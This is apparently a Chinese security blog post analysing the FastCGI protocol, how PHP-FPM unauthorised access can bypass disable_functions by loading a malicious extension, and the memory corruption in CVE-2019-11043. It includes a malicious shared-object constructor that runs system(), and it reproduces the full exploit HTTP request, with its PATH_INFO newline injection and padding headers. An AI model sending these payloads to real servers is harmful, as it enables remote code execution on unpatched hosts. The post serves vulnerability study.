PHP-FPM绕过disable_functions与CVE-2019-11043详细解析

PHP-FPM

生命周期

1.启动时fpm调用各扩展的MINT方法,进行一些数据初始化(长驻内存)
2.每个请求过来,执行RINT对单个请求初始化
3.编译执行PHP
4.执行RSHUTDOWN方法
5.停止fpm的时候执行MSHUTDOWN

Fastcgi协议

消息头header,为8个字节

typedef struct {
    u_char  version; //FastCGI协议版本
    u_char  type;    //消息类型
    u_char  request_id_hi; //请求ID
    u_char  request_id_lo;
    u_char  content_length_hi; //内容
    u_char  content_length_lo;
    u_char  padding_length;    //内容填充长度
    u_char  reserved;          //保留
} ngx_http_fastcgi_header_t;

下面是header中的type定义

#define FCGI_BEGIN_REQUEST       1                     //(web->fastcgi)请求开始数据包
#define FCGI_ABORT_REQUEST       2                     //(web->fastcgi)终止请求
#define FCGI_END_REQUEST         3                     //(fastcgi->web)请求结束
#define FCGI_PARAMS              4                     //(web->fastcgi)传递参数
#define FCGI_STDIN               5                     //(web->fastcgi)数据流传输数据
#define FCGI_STDOUT              6                     //(fastcgi->web)数据流传输数据
#define FCGI_STDERR              7                     //(fastcgi->web)数据流传输
#define FCGI_DATA                8                     //(web->fastcgi)数据流传输
#define FCGI_GET_VALUES          9                     //(web->fastcgi)查询fastcgi服务器性能参数
#define FCGI_GET_VALUES_RESULT  10                     //(fastcgi->web)fastcgi性能参数查询返回
#define FCGI_UNKNOWN_TYPE       11
#define FCGI_MAXTYPE (FCGI_UNKNOWN_TYPE)

根据不同的type,fastcgi协议有不同格式的数据报文如下

新建一个test.php,内容为var_dump($GET_[‘test’]); 然后抓个包看看

前三个包应该是tcp三次握手,第四个包的data部分如下,是nginx发往fpm的包

0000   01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00   ................
0010   01 04 00 01 03 79 07 00 09 00 50 41 54 48 5f 49   .....y....PATH_I
0020   4e 46 4f 0f 17 53 43 52 49 50 54 5f 46 49 4c 45   NFO..SCRIPT_FILE
0030   4e 41 4d 45 2f 76 61 72 2f 77 77 77 2f 68 74 6d   NAME/var/www/htm
0040   6c 2f 74 65 73 74 32 2e 70 68 70 0c 11 51 55 45   l/test2.php..QUE
0050   52 59 5f 53 54 52 49 4e 47 74 65 73 74 3d 73 61   RY_STRINGtest=sa
0060   64 61 73 64 61 73 64 61 64 73 0e 03 52 45 51 55   dasdasdads..REQU
0070   45 53 54 5f 4d 45 54 48 4f 44 47 45 54 0c 00 43   EST_METHODGET..C
0080   4f 4e 54 45 4e 54 5f 54 59 50 45 0e 00 43 4f 4e   ONTENT_TYPE..CON
0090   54 45 4e 54 5f 4c 45 4e 47 54 48 0b 0a 53 43 52   TENT_LENGTH..SCR
00a0   49 50 54 5f 4e 41 4d 45 2f 74 65 73 74 32 2e 70   IPT_NAME/test2.p
00b0   68 70 0b 1c 52 45 51 55 45 53 54 5f 55 52 49 2f   hp..REQUEST_URI/
00c0   74 65 73 74 32 2e 70 68 70 3f 74 65 73 74 3d 73   test2.php?test=s
00d0   61 64 61 73 64 61 73 64 61 64 73 0c 0a 44 4f 43   adasdasdads..DOC
00e0   55 4d 45 4e 54 5f 55 52 49 2f 74 65 73 74 32 2e   UMENT_URI/test2.
00f0   70 68 70 0d 0d 44 4f 43 55 4d 45 4e 54 5f 52 4f   php..DOCUMENT_RO
0100   4f 54 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 0f   OT/var/www/html.
0110   08 53 45 52 56 45 52 5f 50 52 4f 54 4f 43 4f 4c   .SERVER_PROTOCOL
0120   48 54 54 50 2f 31 2e 31 0e 04 52 45 51 55 45 53   HTTP/1.1..REQUES
0130   54 5f 53 43 48 45 4d 45 68 74 74 70 11 07 47 41   T_SCHEMEhttp..GA
0140   54 45 57 41 59 5f 49 4e 54 45 52 46 41 43 45 43   TEWAY_INTERFACEC
0150   47 49 2f 31 2e 31 0f 0c 53 45 52 56 45 52 5f 53   GI/1.1..SERVER_S
0160   4f 46 54 57 41 52 45 6e 67 69 6e 78 2f 31 2e 31   OFTWAREnginx/1.1
0170   34 2e 30 0b 0e 52 45 4d 4f 54 45 5f 41 44 44 52   4.0..REMOTE_ADDR
0180   31 31 33 2e 35 34 2e 32 34 31 2e 31 32 34 0b 05   113.54.241.124..
0190   52 45 4d 4f 54 45 5f 50 4f 52 54 35 39 37 33 31   REMOTE_PORT59731
01a0   0b 0c 53 45 52 56 45 52 5f 41 44 44 52 31 37 32   ..SERVER_ADDR172
01b0   2e 31 38 2e 35 30 2e 37 34 0b 02 53 45 52 56 45   .18.50.74..SERVE
01c0   52 5f 50 4f 52 54 38 31 0b 01 53 45 52 56 45 52   R_PORT81..SERVER
01d0   5f 4e 41 4d 45 5f 0f 03 52 45 44 49 52 45 43 54   _NAME_..REDIRECT
01e0   5f 53 54 41 54 55 53 32 30 30 09 11 48 54 54 50   _STATUS200..HTTP
01f0   5f 48 4f 53 54 31 32 30 2e 37 38 2e 31 33 37 2e   _HOST120.78.137.
0200   31 30 37 3a 38 31 0f 72 48 54 54 50 5f 55 53 45   107:81.rHTTP_USE
0210   52 5f 41 47 45 4e 54 4d 6f 7a 69 6c 6c 61 2f 35   R_AGENTMozilla/5
0220   2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31   .0 (Windows NT 1
0230   30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29   0.0; Win64; x64)
0240   20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37    AppleWebKit/537
0250   2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65   .36 (KHTML, like
0260   20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 38    Gecko) Chrome/8
0270   37 2e 30 2e 34 32 38 30 2e 38 38 20 53 61 66 61   7.0.4280.88 Safa
0280   72 69 2f 35 33 37 2e 33 36 0b 80 00 00 87 48 54   ri/537.36.....HT
0290   54 50 5f 41 43 43 45 50 54 74 65 78 74 2f 68 74   TP_ACCEPTtext/ht
02a0   6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78   ml,application/x
02b0   68 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 69 63 61   html+xml,applica
02c0   74 69 6f 6e 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69   tion/xml;q=0.9,i
02d0   6d 61 67 65 2f 61 76 69 66 2c 69 6d 61 67 65 2f   mage/avif,image/
02e0   77 65 62 70 2c 69 6d 61 67 65 2f 61 70 6e 67 2c   webp,image/apng,
02f0   2a 2f 2a 3b 71 3d 30 2e 38 2c 61 70 70 6c 69 63   */*;q=0.8,applic
0300   61 74 69 6f 6e 2f 73 69 67 6e 65 64 2d 65 78 63   ation/signed-exc
0310   68 61 6e 67 65 3b 76 3d 62 33 3b 71 3d 30 2e 39   hange;v=b3;q=0.9
0320   14 0d 48 54 54 50 5f 41 43 43 45 50 54 5f 45 4e   ..HTTP_ACCEPT_EN
0330   43 4f 44 49 4e 47 67 7a 69 70 2c 20 64 65 66 6c   CODINGgzip, defl
0340   61 74 65 14 17 48 54 54 50 5f 41 43 43 45 50 54   ate..HTTP_ACCEPT
0350   5f 4c 41 4e 47 55 41 47 45 7a 68 2d 43 4e 2c 7a   _LANGUAGEzh-CN,z
0360   68 3b 71 3d 30 2e 39 2c 65 6e 3b 71 3d 30 2e 38   h;q=0.9,en;q=0.8
0370   1e 01 48 54 54 50 5f 55 50 47 52 41 44 45 5f 49   ..HTTP_UPGRADE_I
0380   4e 53 45 43 55 52 45 5f 52 45 51 55 45 53 54 53   NSECURE_REQUESTS
0390   31 00 00 00 00 00 00 00 01 04 00 01 00 00 00 00   1...............
03a0   01 05 00 01 00 00 00 00                           ........
typedef struct {
    u_char  role_hi; //标记FastCGI应用应该扮演的角色
    u_char  role_lo;
    u_char  flags;
    u_char  reserved[5];
} ngx_http_fastcgi_begin_request_t;

第一个包为begin_request,共16个字节,前8个字节:01 01 00 01 00 08 00 00

  • 版本:01
  • type:01,是一个begin_request的包
  • 请求id: 00 01
  • 内容长度:00 08
  • 填充:00
  • 保留字节:00

后8个字节:00 01 00 00 00 00 00 00,为begin_request的body

typedef struct {
    u_char  role_hi;
    u_char  role_lo;
    u_char  flags;
    u_char  reserved[5];
} ngx_http_fastcgi_begin_request_t;
  • role:00 01
  • flags:00
  • reserved:00 00 00 00 00

01 04 00 01 03 79 07 00

接下来就是第二个包了,此处type变成04,body的长度为0x379

因为type=4,接下来填充的都是name-value pair

其中的规则如下,这里第一个键值对 PATH_INFO:

符合FCGI_NameValuePair11(这个命名挺好,11表示2个都是1个uchar,14表示name长度是1个uchar,value长度是4个uchar),所以前面加上长度09 00

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f)  24) + (B2  16) + (B1  8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f)  24) + (B2  16) + (B1  8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f)  24) + (B2  16) + (B1  8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f)  24) + (B2  16) + (B1  8) + B0];
} FCGI_NameValuePair44;
  1. key、value均小于128字节,用FCGI_NameValuePair11
  2. key大于128字节,value小于128字节,用FCGI_NameValuePair41
  3. key小于128字节,value大于128字节,用FCGI_NameValuePair14
  4. key、value均大于128字节,用FCGI_NameValuePair44

name-value部分最后加了一点padding

接下来8个字节表示name-value部分结束了

01 04 00 01 00 00 00 00

接下来就是最后一个包,这里是post相关的数据,不过此处post长度为0

01 05 00 01 00 00 00 00

改成post再试一下

PHP-FPM未授权访问与绕过disable_functions

前面分析了fastcgi协议,直接上p大的脚本

逻辑并不难看出来,如下图为主要的逻辑,request+=一个begin包+=一个params包+=一个stdin包

其中params包多增加了auto_prepend_file和allow_url_include

php-fpm接受参数的时候会专门去解析php_value和php_admin_value

php_admin_value不会被ini_set,.htaccess,virtualhost 中的指令等覆盖,而且有一些设定值是不能被PHP_VALUE覆盖的,需要使用PHP_ADMIN_VALUE

另外,disable_functions是特别的,不能使用PHP_ADMIN_VALUE覆盖

上面这个脚本包含了生成payload和建立socket连接发送payload,可以改成php的

接下来如何绕过disable_functions,可以看蚁剑的插件

从上图可以看出,绕过disable_functions的方式是使用PHP_ADMIN_VALUE加载一个恶意的php扩展从而绕过disable_functions

可是这里就有一个问题,去官网上看发现extension的修改权限和disable_functions一样是php.ini only的,莫非是因为extension默认为空值所以才能被PHP_VALUE覆盖?

遇事不决看源码,看一眼以后猜测是在这里附近👇

./configure –prefix=/root/code/php/php-7.2.24-fpm/php-build –disable-all –enable-phpdbg-debug –enable-debug –enable-fpm CFLAGS=”-g3 -gdwarf-4″

去恰火锅了,回来继续写

把etc里面的php-fpm.conf.defaut复制到sbin目录,这个php-fpm.conf最后一行有include,然后去etc/php-fpm.d里面配置一下,用户设置成www-data,worker进程设置成只有一个

把源码目录的php.ini-development拿来用,此时disable_functions等号后面是空的

启动调试

gdb ./php-fpm 
set args -c ./php.ini -y ./php-fpm.conf
b fpm_php_zend_ini_alter_master
b fpm_php_apply_defines_ex

先运行一下p大的脚本试试

可以看出来直接进了这个if,直接调用php_dl加载扩展

这步以后就发现已经成功加载我们的恶意so了,附so源码

#include <stdio.h>
#include <unistd.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("echo 123 > /tmp/result");
}

看源码发现extension是否为空并不影响我们恶意so的加载,我们测试一下,php.ini里面extension随便加一个gd.so发现还是可以加载

接下来我们试一下传入zend_extension=/tmp/hack.so

发现进入了 return -1,然后也没有123写入到/tmp/result

那么到这里php_admin_value解析的逻辑已经很清楚了

  • 检查name是不是extension,如果是,调用php_dl加载
  • 进入fpm_php_zend_ini_alter_master,此时ini内若本身不存在这个name,那么直接return -1,加载失败 (这一步只是修改了executor_globals.ini_directives的值,会改变phpinfo的输出但是没有其他效果,比如修改disable_functions并不会将之前已经被禁用的函数解禁)
  • 检查name是不是disable_functions和disable_classes,然后该禁用的禁用

所以只能使用extension这一个php_admin_value来RCE,当然这只是我个人的理解,如果大佬有不同的意见可以指教一下

另外关于disable_functions和phpinfo的原理,这篇文章讲得很详细,这里我总结一下:

  • disable_functions是在php生命周期的php_module_startup阶段禁用,方法是从compiler_globals.function_table找到对应的函数指针,然后把handlers改成ZEND_FN(display_disabled_function)
  • phpinfo打印的php.ini配置信息是从executor_globals.ini_directives获取的

CVE-2019-11043

nextcloud的洞,去年打来打去的时候我在学机器学习,学一下姿势

影响版本

7.1.*<7.1.33
7.2.*<7.2.24
7.3.*<7.3.11

poc

<?php
var_dump($_SERVER["PATH_INFO"]);

然后%0a截断path_info可以得到异常输出

不过这个poc并不代表一定可以利用,还是来分析一下

nginx配置

有几个条件

  • Nginx + php_fpm
  • location ~ [^/]\.php(/|$) 也就是xxxxx.php/xxx的请求会被转到php-fpm解析
  • Nginx配置fastcgi_split_path_info^开始以$结束,这样会被换行符截断,让path_info为空
  • fastcgi_param PATH_INFO $fastcgi_path_info; path_info传入fastcgi_param,这个是默认配置
  • nginx层面没有定义对文件的检查如try_files $uri =404,否则直接返回404,不会发到php-fpm
  • fastcgi的参数定义要在PATH_INFO之前,这样PATH_INFO在REQUEST_URI后面,这里没写什么原因,猜测是后面添加Q的时候把path_info挤到下一个chunk
include fastcgi.conf;
fastcgi_param PATH_INFO $path_info;

产生原因

fastcgi_split_path_info的正则表达式匹配会被path_info里面的%0a截断,导致path_info为空值,而此时path_info的长度可控,最终通过一连串的赋值语句,导致fastcgi的环境变量可控,接下来我们来仔细分析

./configure –prefix=/root/code/php/php-7.2.23-fpm/php-build –disable-all –enable-fpm CFLAGS=”-g3 -gdwarf-4″

然后改一下pm.max_children,www-data之类的

进入调试,我们看到修复在fpm_main.c的init_request_info中,于是直接下个断点

gdb ./php-fpm 
set args -c ./php.ini -y ./php-fpm.conf
b init_request_info

给env_path_info和env_script_name赋值

进入关键步骤fix_pathinfo

而此时tsrm_realpath表示求绝对路径,于是等于NULL,进入if

然后步过几行,进入漏洞代码

if (pt) {
    while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
        *ptr = 0;
        if (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
            int ptlen = strlen(pt);
            int slen = len - ptlen;
            int pilen = env_path_info ? strlen(env_path_info) : 0;
            int tflag = 0;
            char *path_info;
            if (apache_was_here) {
                /* recall that PATH_INFO won't exist */
                path_info = script_path_translated + ptlen;
                tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
            } else {
                path_info = env_path_info ? env_path_info + pilen - slen : NULL;
                tflag = (orig_path_info != path_info);
            }

            if (tflag) {
                if (orig_path_info) {
                    char old;

                    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
                    old = path_info[0];
                    path_info[0] = 0;
                    if (!orig_script_name ||
                        strcmp(orig_script_name, env_path_info) != 0) {
                        if (orig_script_name) {
                            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
                        }
                        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
                    } else {
                        SG(request_info).request_uri = orig_script_name;
                    }
                    path_info[0] = old;
                } else if (apache_was_here && env_script_name) {
                    /* Using mod_proxy_fcgi and ProxyPass, apache cannot set PATH_INFO
                        * As we can extract PATH_INFO from PATH_TRANSLATED
                        * it is probably also in SCRIPT_NAME and need to be removed
                        */
                    int snlen = strlen(env_script_name);
                    if (snlen>slen && !strcmp(env_script_name+snlen-slen, path_info)) {
                        FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
                        env_script_name[snlen-slen] = 0;
                        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_script_name);
                    }
                }
                env_path_info = FCGI_PUTENV(request, "PATH_INFO", path_info);
            }
            if (!orig_script_filename ||
                strcmp(orig_script_filename, pt) != 0) {
                if (orig_script_filename) {
                    FCGI_PUTENV(request, "ORIG_SCRIPT_FILENAME", orig_script_filename);
                }
                script_path_translated = FCGI_PUTENV(request, "SCRIPT_FILENAME", pt);
            }
            TRANSLATE_SLASHES(pt);

            /* figure out docroot
                * SCRIPT_FILENAME minus SCRIPT_NAME
                */
            if (env_document_root) {
                int l = strlen(env_document_root);
                int path_translated_len = 0;
                char *path_translated = NULL;

                if (l && env_document_root[l - 1] == '/') {
                    --l;
                }
                path_translated_len = l + (env_path_info ? strlen(env_path_info) : 0);
                path_translated = (char *) emalloc(path_translated_len + 1);
                memcpy(path_translated, env_document_root, l);
                if (env_path_info) {
                    memcpy(path_translated + l, env_path_info, (path_translated_len - l));
                }
                path_translated[path_translated_len] = '\0';
                if (orig_path_translated) {
                    FCGI_PUTENV(request, "ORIG_PATH_TRANSLATED", orig_path_translated);
                }
                env_path_translated = FCGI_PUTENV(request, "PATH_TRANSLATED", path_translated);
                efree(path_translated);
            } else if (	env_script_name &&
                        strstr(pt, env_script_name)
            ) {
                /* PATH_TRANSLATED = PATH_TRANSLATED - SCRIPT_NAME + PATH_INFO */
                int ptlen = strlen(pt) - strlen(env_script_name);
                int path_translated_len = ptlen + (env_path_info ? strlen(env_path_info) : 0);
                char *path_translated = NULL;

                path_translated = (char *) emalloc(path_translated_len + 1);
                memcpy(path_translated, pt, ptlen);
                if (env_path_info) {
                    memcpy(path_translated + ptlen, env_path_info, path_translated_len - ptlen);
                }
                path_translated[path_translated_len] = '\0';
                if (orig_path_translated) {
                    FCGI_PUTENV(request, "ORIG_PATH_TRANSLATED", orig_path_translated);
                }
                env_path_translated = FCGI_PUTENV(request, "PATH_TRANSLATED", path_translated);
                efree(path_translated);
            }
            break;
        }
    }
}

此处

  • pt表示/var/www/html/t.php
  • ptlen为pt的长度
  • script_path_translated表示/var/www/html/t.php/aaaa\naaa
  • len表示script_path_translated的长度
  • slen = len – ptlen,也就是/aaaa\naaa的长度
  • pilen表示env_path_info的长度

tflag我判断是一个标志位,如果path_info被修改,就进入if设置ORIG_PATH_INFO并且修改当前的PATH_INFO (也可以修改SCRIPT_NAME)

path_info = env_path_info ? env_path_info + pilen - slen : NULL;
tflag = (orig_path_info != path_info);

所以此时pilen=0,相当于把path_info的地址减去slen,而slen我们自己可以修改,于是path_info这个指针我们可控,当前我们的slen=9,于是path_info指针向前移动9位

那么如何利用呢,进入下面几行处的tflag的if判断内部,看到一处path_info[0]=0,通过这里这里可以把任意一个字节置0

条件是地址只能比path_info小,而且要在接下来的几行触发漏洞,因为马上这一个字节又被改回来了

从FCGI_PUTENV开始,调用关系如下:

#define FCGI_PUTENV(request, name, value) \
	fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value)

char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val)
{
	if (val == NULL) {
		fcgi_hash_del(&req->env, hash_value, var, var_len);
		return NULL;
	} else {
		return fcgi_hash_set(&req->env, hash_value, var, var_len, val, (unsigned int)strlen(val)); //把键值对加入req->env
	}
}

static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
{
	unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
	fcgi_hash_bucket *p = h->hash_table[idx]; 

	while (UNEXPECTED(p != NULL)) {
		if (UNEXPECTED(p->hash_value == hash_value) &&
		    p->var_len == var_len &&
		    memcmp(p->var, var, var_len) == 0) {
			p->val_len = val_len;
			p->val = fcgi_hash_strndup(h, val, val_len);
			return p->val;
		}
		p = p->next;
	}
        
	if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {
		fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
		b->idx = 0;
		b->next = h->buckets;
		h->buckets = b;
	}
	p = h->buckets->data + h->buckets->idx;
	h->buckets->idx++;
	p->next = h->hash_table[idx];
	h->hash_table[idx] = p;
	p->list_next = h->list;
	h->list = p;

          //保存key和value  
	p->hash_value = hash_value;
	p->var_len = var_len;
	p->var = fcgi_hash_strndup(h, var, var_len);
	p->val_len = val_len;
	p->val = fcgi_hash_strndup(h, val, val_len);
	return p->val;
}

static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) //此时h为requet->env
{
	char *ret;

	if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
		unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
		fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);

		p->pos = p->data;
		p->end = p->pos + seg_size;
		p->next = h->data;
		h->data = p;
	}
	ret = h->data->pos;
	memcpy(ret, str, str_len);
	ret[str_len] = 0;
	h->data->pos += str_len + 1;
	return ret;
}

request->env->data是一个存储环境变量的变量名和变量值的结构,是一个fcgi_data_seg的结构体,它的pos指向了下一次准备写入的位置

typedef struct _fcgi_data_seg {
	char                  *pos;
	char                  *end;
	struct _fcgi_data_seg *next;
	char                   data[1]; (变长数组,data[1]比data[]兼容C99以前的标准)
} fcgi_data_seg;

如果所有变量都写入完毕,则pos指向下一个空闲的位置,如下图

在fcgi_hash_strndup的最后一部分,ret = h->data->pos;当我们使用前面提到的0x00覆盖request->env->data->pos的时候,就能在memcpy(ret, str, str_len);中控制写入的内容,而且path_info[0]存在request->env->data->data的某个位置,pos的位置比它小,所以符合前面的条件

接下来我们要确定pos相对于path_info的偏移,因为每次path_info存储的位置并不固定,那么怎么办呢?攻击者想了一个办法

GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQ... HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu

不断增大path_info的长度,直到进入下面这个if判断,也就是分配的内存不够了,重新malloc一个内存,并且把p->pos重新指向p->data,此时PATH_INFO为data的第一个键值对

这个报文中/PHP%0Ais_the_shittiest_lang.php表示env_path_info向前移动了30个字节,根据下图,此时env_path_info指向pos的第5个字节,此时第5个字节变成0x00,

-------------  +0
char *pos 
-------------  +8
char *end 
-------------  +16
char *next 
-------------  +24
PATH_INFO\x00  <---- char data[] (当重新malloc时,PATH_INFO是data中的第一个值)
-------------  +34
\x00           <---- env_path_info (+35)
-------------

所以不断增加Q的数量,直到PHP-FPM崩溃,如下图,发送payload,成功把h->data->pos的某个字节修改成0x00,此时就会报一个错,运行exp,发现Q的数量为1765

接下来把/PHP%0Ais_the_shittiest_lang.php换成/PHP_VALUE%0Asession.auto_start=1;;; 长度增加4,就把path_info多减去4,相当于把pos的最后一个字节改成0x00

这里很恐怖的事情发生了,那就是按照跑出来的1765的qsl怎么跑都跑不通,调了一年发现原来是在PATH_INFO之前分配REDIRECT_STATUS的时候chunk就已经不够用,启动了malloc(右下截图),所以此时应该减去一些Q的数量(1765个减到1752个),然后发现成功覆盖最低位(左中),另外右上为用来对比的/PHP%0Ais_the_shittiest_lang.php的内存情况

我们不妨通过request->env->data->next来找到第一次malloc的内存,可以看到这里有很多Q,而且由于一些字符串的长度增加了,所以写REDIRECT_STATUS时重新malloc了一块内存,也就把本来在第一个的PATH_INFO挤到了第二个

我认为这是有几率发生的事件,发生的条件是第一次的空闲内存不多,把/PHP%0Ais_the_shittiest_lang.php改为/PHP_VALUE%0asession.auto_start%3d1%3b%3b%3b增加了一些内存的使用,于是把REDIRECT_STATUS也挤走了

先不管这些,让我们看看接下来的操作,接下来会进入这一步

跟着调用,最后会进入fcgi_hash_strndup在pos的位置上写入数据,也就是在0x555555ff9500的位置上开始写,我们需要让ORIG_SCRIPT_NAME中的PHP_VALUE%0Asession.auto_start=1;覆盖掉HTTP_EBUT即可,这里作者使用D-Gisos: 8=========================……============D一直把HTTP_EBUT挤到0x555555ff9600+len(“ORIG_SCRIPT_FILENAME\00/index.php/”)的位置

HTTP_EBUT和PHP_VALUE有相同的hash值和长度,这样在写入bucket时,会有一样的hash值和长度,而在取PHP_VALUE的时候只会根据hash和len来取

下图为计算http_ebut和php_value的哈希值

request.env.buckets.data保存了所有环境变量,我们进去找一找http_ebut

覆盖完成以后再找一下发现

接下来在1398行

成功覆盖,结束

最后的payload如下

GET /index.php/PHP_VALUE%0asession.auto_start%3d1%3b%3b%3b?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=================================================================================================================================================================================================D
Ebut: mamku tvoyu

不过这里又双叒叕出了问题,编译的时候图省事,加了–disable-all参数,这里session.auto_start好像会失去作用,没有回显,不管了,反正内存里面成功了

过程总结

  • 先发送poc包,/PHP%0Ais_the_shittiest_lang.php?QQQQ…找到触发malloc的位置
  • 此时发送/PHP_VALUE%0Asession.auto_start=1;;;?QQQQ…长度增加了4,效果是把pos的末位置为0
  • 增加D-Gisos: 8=======…..=D中等号的数量让session.auto_start=1;;;覆盖掉HTTP_EBUT的val在内存中的值

发表评论

邮箱地址不会被公开。 必填项已用*标注